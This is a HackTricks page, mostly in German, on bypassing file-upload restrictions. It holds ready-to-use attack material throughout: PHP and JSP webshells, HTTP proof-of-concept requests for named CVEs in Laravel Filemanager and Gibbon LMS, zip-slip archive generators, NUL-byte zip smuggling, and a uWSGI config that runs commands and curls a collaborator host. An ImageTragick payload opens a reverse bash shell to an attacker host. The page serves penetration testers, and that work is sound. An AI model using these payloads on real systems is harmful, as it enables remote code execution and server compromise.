File Upload

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Dateiupload - allgemeine Methodik

Weitere nützliche Dateiendungen:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Umgehen von Überprüfungen der Dateiendungen

  1. Wenn relevant, überprüfe die vorher genannten Extensions. Teste sie außerdem mit einigen Großbuchstaben: pHp, .pHP5, .PhAr …
  2. Überprüfe das Hinzufügen einer gültigen Extension vor der Ausführungs-Extension (verwende auch die vorherigen Extensions):
  • file.png.php
  • file.png.Php5
  1. Versuche, Sonderzeichen am Ende hinzuzufügen. Du kannst Burp benutzen, um alle ascii und Unicode Zeichen zu bruteforcen. (Beachte, dass du auch die zuvor genannten extensions verwenden kannst.)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Versuche, die Schutzmechanismen zu umgehen, indem du den Extension-Parser auf der Serverseite austrickst, z. B. durch Verdoppeln der Extension oder Einfügen von Junk-Daten (null bytes) zwischen Extensions. Du kannst auch die vorherigen Extensions verwenden, um ein besseres Payload vorzubereiten.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Füge eine weitere Schicht von Extensions zu der vorherigen Prüfung hinzu:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Versuche, die ausführbare Extension vor der gültigen Extension zu platzieren und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurationen auszunutzen, bei denen alles mit der Extension .php, aber nicht unbedingt mit endender .php, Code ausführt):
  • ex: file.php.png
  1. Verwendung von NTFS alternate data stream (ADS) in Windows. In diesem Fall wird ein Doppelpunkt-Zeichen “:” nach einer verbotenen Extension und vor einer erlaubten Extension eingefügt. Als Ergebnis wird eine leere Datei mit der verbotenen Extension auf dem Server erstellt (z. B. “file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. mittels ihres Short Filename. Das Muster “::$data” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punkts nach diesem Muster nützlich sein, um weitere Beschränkungen zu umgehen (z. B. “file.asp::$data.”).
  2. Versuche, die Dateinamen-Limits zu überschreiten. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Einige Upload-Handler trimmen oder normalisieren nachgestellte Punkt-Zeichen aus dem gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kann die Extension-Validierung umgangen werden durch:

  • Verwendung eines gültigen Image-MIME und Magic-Headers (z. B. das PNG-Signatur-Header \x89PNG\r\n\x1a\n).
  • Benennung der hochgeladenen Datei mit einer PHP-Extension gefolgt von einem Punkt, z. B. shell.php..
  • Der Server entfernt den nachgestellten Punkt und speichert shell.php, welches ausgeführt wird, wenn es in einem web-unterstützten Verzeichnis liegt (Standard public storage wie /storage/files/).

Minimales PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Dann rufe den gespeicherten Pfad auf (typisch in Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks, indem du den Wert des Content-Type Headers auf: image/png , text/plain , application/octet-stream setzt
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check, indem du am Anfang der Datei die Bytes eines echten Bildes hinzufügst (verwirrt den file command). Oder füge die Shell in die Metadaten ein:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ oder du könntest auch introduce the payload directly in einem Bild:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Wenn deinem Bild Kompression hinzugefügt wird, z. B. durch Standard-PHP-Bibliotheken wie PHP-GD, sind die vorherigen Techniken nicht nützlich. Allerdings könntest du den PLTE chunk technique defined here verwenden, um Text einzufügen, der die Kompression übersteht.
  • Github with the code
  • Die Webseite könnte das Bild außerdem skalieren, z. B. mit den PHP-GD-Funktionen imagecopyresized oder imagecopyresampled. Du könntest jedoch den IDAT chunk technique defined here verwenden, um Text einzufügen, der die Kompression übersteht.
  • Github with the code
  • Eine weitere Technik, um ein Payload zu erstellen, das eine Bildskalierung überlebt, nutzt die PHP-GD-Funktion thumbnailImage. Alternativ kannst du den tEXt chunk technique defined here benutzen, um Text einzufügen, der die Kompression übersteht.
  • Github with the code

Other Tricks to check

  • Finde eine Verwundbarkeit, um die bereits hochgeladene Datei zu rename (um die Extension zu ändern).
  • Finde eine Local File Inclusion vulnerability, um die Backdoor auszuführen.
  • Possible Information disclosure:
  1. Lade die gleiche Datei mehrfach (und zur gleichen Zeit) mit demselben Namen hoch.
  2. Lade eine Datei mit dem Namen einer bereits existierenden Datei oder eines Ordners hoch.
  3. Hochladen einer Datei mit “.” , “..”, or “…” as its name. Zum Beispiel: In Apache unter Windows, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, erzeugt der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/”.
  4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. “…:.jpg” in NTFS. (Windows)
  5. Lade eine Datei in Windows hoch mit invalid characters wie |<>*?” im Namen. (Windows)
  6. Lade eine Datei in Windows hoch unter Verwendung von reserved (forbidden) names wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, und LPT9.
  • Versuche auch, ein upload an executable (.exe) oder eine .html (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE)-Vulnerabilities können auf uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die .ini-Konfigurationsdatei zu verändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um “magic” Variablen, Platzhalter und Operatoren einzubinden. Besonders hervorzuheben ist der ‘@’ Operator, verwendet als @(filename), der dafür gedacht ist, den Inhalt einer Datei einzufügen. Unter den verschiedenen in uWSGI unterstützten Schemata ist das “exec” scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Dieses Feature kann für bösartige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read missbraucht werden, wenn eine .ini-Konfigurationsdatei verarbeitet wird.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparsed wird, muss der uWSGI-Prozess entweder neu gestartet werden (potenziell nach einem Crash oder aufgrund eines Denial of Service attack) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.

Es ist entscheidend, die laxen Regeln beim Parsen von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der diskutierte payload in eine Binärdatei (z. B. ein Bild oder PDF) eingefügt werden, wodurch der mögliche Exploit-Bereich weiter vergrößert wird.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Ein unauthentifizierter Endpoint in Gibbon LMS erlaubt arbitrary file write innerhalb des web root und führt zu pre-auth RCE durch Ablegen einer PHP-Datei. Verwundbare Versionen: bis einschließlich 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (server ignores type/name, base64-decodes the tail)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Eine minimale webshell ablegen und Befehle ausführen:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Anmerkungen:

  • Der Handler führt base64_decode($_POST["img"]) nach dem Aufteilen anhand von ; und , aus und schreibt anschließend die Bytes zu $absolutePath . '/' . $_POST['path'], ohne Erweiterung/Typ zu validieren.
  • Der resultierende Code läuft als Webservice-Benutzer (z. B. XAMPP Apache on Windows).

Referenzen für diesen Bug umfassen das usd HeroLab advisory und den NVD-Eintrag. Siehe den Abschnitt References unten.

wget File Upload/SSRF Trick

In manchen Fällen kann man feststellen, dass ein Server wget verwendet, um Dateien herunterzuladen und man die URL angeben kann. In solchen Fällen überprüft der Code möglicherweise, dass die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings kann diese Prüfung umgangen werden.
Die maximale Länge eines Dateinamens in linux ist 255, allerdings kürzt wget die Dateinamen auf 236 Zeichen. Man kann eine Datei namens “A”*232+“.php”+“.gif” herunterladen — dieser Dateiname wird die Prüfung umgehen (in diesem Beispiel ist “.gif” eine gültige Erweiterung), aber wget wird die Datei in *“A”232+“.php” umbenennen.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Beachte, dass eine weitere Option, an die du vielleicht denkst, um diese Prüfung zu umgehen, darin besteht, den HTTP server so zu konfigurieren, dass er auf eine andere Datei weiterleitet, sodass die initiale URL die Prüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das funktioniert nicht, es sei denn, wget wird mit dem Parameter --trust-server-names verwendet, weil wget die umgeleitete Seite mit dem Namen der Datei aus der ursprünglichen URL herunterladen wird.

Upload-Verzeichnis umgehen via NTFS junctions (Windows)

(Für diesen Angriff benötigst du lokalen Zugriff auf die Windows-Maschine) Wenn uploads unter per-user subfolders auf Windows gespeichert werden (z. B. C:\Windows\Tasks\Uploads<id>) und du die Erstellung/Löschung dieses Unterordners kontrollierst, kannst du ihn durch eine directory junction ersetzen, die auf einen sensiblen Ort zeigt (z. B. das webroot). Nachfolgende uploads werden in den Zielpfad geschrieben und ermöglichen code execution, wenn das Ziel server‑side code interpretiert.

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notes

  • mklink /J erzeugt eine NTFS directory junction (reparse point). Das Konto des Webservers muss der Junction folgen und Schreibberechtigung im Ziel haben.
  • Das leitet beliebige Datei-Schreibvorgänge um; wenn das Ziel Skripte ausführt (PHP/ASP), wird dies zu RCE.
  • Gegenmaßnahmen: Schreibbare Upload-Roots nicht angreiferkontrollierbar unter C:\Windows\Tasks oder ähnlichem erlauben; Junction-Erstellung blockieren; Erweiterungen serverseitig validieren; Uploads auf einem separaten Volume speichern oder mit deny-execute ACLs versehen.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Einige upload/ingest handlers schreiben den raw request body in einen filesystem path, der aus user-controlled query parameters konstruiert wird. Wenn der Handler außerdem Content-Encoding: gzip unterstützt und es versäumt, den destination path zu canonicalize/validate, kann man directory traversal mit einer gzipped payload kombinieren, um beliebige Bytes in ein web-served directory zu schreiben und RCE zu erlangen (z. B. eine JSP unter Tomcat’s webapps ablegen).

Generischer Exploit-Ablauf:

  • Bereite deine server-side payload vor (z. B. minimale JSP webshell) und gzip-komprimiere die Bytes.
  • Sende eine POST-Anfrage, bei der ein path parameter (z. B. token) traversal enthält, um den vorgesehenen Ordner zu verlassen, und file den Dateinamen angibt, unter dem gespeichert werden soll. Setze Content-Type: application/octet-stream und Content-Encoding: gzip; der Body ist die komprimierte Payload.
  • Rufe die geschriebene Datei im Browser auf, um die Ausführung auszulösen.

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Dann auslösen:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Hinweise

  • Zielpfade variieren je nach Installation (z. B. /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in manchen Stacks). Jeder web-exponierte Ordner, der JSP ausführt, funktioniert.
  • Die Hackvertor-Erweiterung von Burp Suite kann aus deinem payload einen korrekten gzip-Body erzeugen.
  • Dies ist ein reines pre-auth arbitrary file write → RCE-Muster; es beruht nicht auf multipart-Parsing.

Mitigations

  • Leite Upload-Ziele serverseitig ab; vertraue niemals auf Pfadfragmente vom Client.
  • Kanonisiere und stelle sicher, dass der aufgelöste Pfad innerhalb eines zugelassenen Basisverzeichnisses bleibt.
  • Speichere Uploads auf einem nicht-ausführbaren Volume und verweigere die Skriptausführung aus beschreibbaren Pfaden.

Tools

  • Upload Bypass ist ein mächtiges Tool, das Pentesters und Bug Hunters beim Testen von Datei-Upload-Mechanismen unterstützt. Es nutzt verschiedene bug bounty-Techniken, um den Prozess der Identifikation und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Assessments von Webanwendungen zu ermöglichen.

Corrupting upload indices with snprintf quirks (historical)

Einige Legacy-Upload-Handler, die snprintf() oder Ähnliches verwenden, um Multi-File-Arrays aus einem Single-File-Upload zu erstellen, können dazu verleitet werden, die _FILES-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidung im Verhalten von snprintf() kann ein sorgfältig gestalteter Single-Upload serverseitig als mehrere indexierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. ihn als Multi-File-Upload behandelt und unsichere Pfade nimmt). Obwohl heute eher niche, taucht dieses “index corruption”-Muster gelegentlich in CTFs und älteren Codebasen wieder auf.

From File upload to other vulnerabilities

Hier eine Top-10-Liste von Dingen, die du durch Uploads erreichen kannst (von here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Siehe https://en.wikipedia.org/wiki/List_of_file_signatures für andere Dateitypen.

Zip/Tar-Upload, der automatisch dekomprimiert wird

Wenn du eine ZIP hochladen kannst, die serverseitig dekomprimiert wird, kannst du zwei Dinge tun:

Lade ein Archiv hoch, das Symlinks auf andere Dateien enthält; beim Zugriff auf die dekomprimierten Dateien greifst du auf die verlinkten Dateien zu:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

In verschiedene Ordner dekomprimieren

Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz anfänglicher Annahme, dass diese Konfiguration davor schützen könnte, durch bösartige Datei-Uploads die Ausführung von Befehlen auf Betriebssystem-Ebene zu ermöglichen, können die Unterstützung hierarchischer Kompression und die directory traversal-Fähigkeiten des ZIP-Archivformats ausgenutzt werden. Dadurch können Angreifer Einschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren.

Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter evilarc on GitHub. Das Tool kann wie folgt verwendet werden:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Außerdem ist der symlink trick with evilarc eine Option. Wenn das Ziel eine Datei wie /flag.txt ist, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.

Nachfolgend ein Beispiel für Python-Code, der verwendet wird, um eine bösartige ZIP-Datei zu erstellen:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Für weitere Details siehe den Originalbeitrag unter: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP-Code wird geschrieben, um Befehle aus der $_REQUEST-Variable auszuführen.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Mehrere Dateien werden erzeugt und ein zip-Archiv angelegt, das diese Dateien enthält.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Die Namen der Dateien innerhalb des zip werden mit vi oder einem Hex-Editor verändert, indem “xxA” in “../” geändert wird, um Verzeichnisse zu traversieren.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Wenn ein Backend ZIP-Einträge mit PHP’s ZipArchive validiert, die Extraktion aber die Rohnamen ins Dateisystem schreibt, kann man eine nicht erlaubte Erweiterung einschmuggeln, indem man ein NUL (0x00) in die Dateinamenfelder einfügt. ZipArchive behandelt den Eintragsnamen als C‑String und kürzt ihn am ersten NUL; das Dateisystem schreibt den kompletten Namen und verwirft alles nach dem NUL.

High-level flow:

  • Bereite eine legitime Containerdatei vor (z.B. ein gültiges PDF), die einen kleinen PHP-Stub in einem Stream einbettet, sodass magic/MIME weiterhin PDF bleibt.
  • Benenne sie wie shell.php..pdf, zippe sie, und bearbeite dann den ZIP local header und den central directory filename im Hex-Editor, um den ersten . nach .php durch 0x00 zu ersetzen, was zu shell.php\x00.pdf führt.
  • Validatoren, die auf ZipArchive vertrauen, werden „sehen“ shell.php .pdf und es erlauben; der Extraktor schreibt shell.php auf die Festplatte, was zu RCE führt, wenn der Upload-Ordner ausführbar ist.

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Hinweise

  • Ändere BEIDE filename-Vorkommen (local und central directory). Einige Tools fügen außerdem einen zusätzlichen data descriptor-Eintrag hinzu – passe alle name-Felder an, falls vorhanden.
  • Die payload file muss weiterhin server‑seitiges magic/MIME sniffing bestehen. Das Einbetten des PHP in einen PDF stream hält den Header gültig.
  • Funktioniert, wenn der enum/validation path und der extraction/write path unterschiedliche String‑Verarbeitung haben.

Gestapelte/konkatenierte ZIPs (Parser‑Uneinigkeit)

Konkatenieren von zwei gültigen ZIP-Dateien erzeugt einen Blob, bei dem verschiedene Parser sich auf unterschiedliche EOCD‑Records konzentrieren. Viele Tools suchen das letzte End Of Central Directory (EOCD), während einige Bibliotheken (z. B. ZipArchive in bestimmten Workflows) eventuell das erste Archiv parsen, das sie finden. Wenn die validation das erste Archiv aufzählt und die extraction ein anderes Tool verwendet, das das letzte EOCD respektiert, kann ein harmloses Archiv die Prüfungen bestehen, während ein bösartiges extrahiert wird.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Missbrauchsmuster

  • Erstelle ein harmloses Archiv (erlaubter Typ, z. B. ein PDF) und ein zweites Archiv, das eine blockierte Erweiterung enthält (z. B. shell.php).
  • Füge sie zusammen: cat benign.zip evil.zip > combined.zip.
  • Wenn der Server mit einem Parser validiert (sieht benign.zip), aber mit einem anderen extrahiert (verarbeitet evil.zip), landet die blockierte Datei im Extraktionspfad.

ImageTragic

Lade diesen Inhalt mit einer Bild-Dateiendung hoch, um die Schwachstelle auszunutzen (ImageMagick , 7.0.1-1) (aus dem exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Einbetten einer PHP Shell in PNG

Das Einbetten einer PHP Shell in den IDAT chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen imagecopyresized und imagecopyresampled aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie jeweils häufig zum Resizing bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unbeeinträchtigt bleibt, ist für bestimmte Anwendungsfälle ein erheblicher Vorteil.

Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: “Encoding Web Shells in PNG IDAT chunks”. Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.

Mehr Informationen unter: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot-Dateien

Polyglot-Dateien sind ein besonderes Werkzeug in der Cybersecurity und fungieren wie Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein interessantes Beispiel ist ein GIFAR, ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf dieses Paar beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.

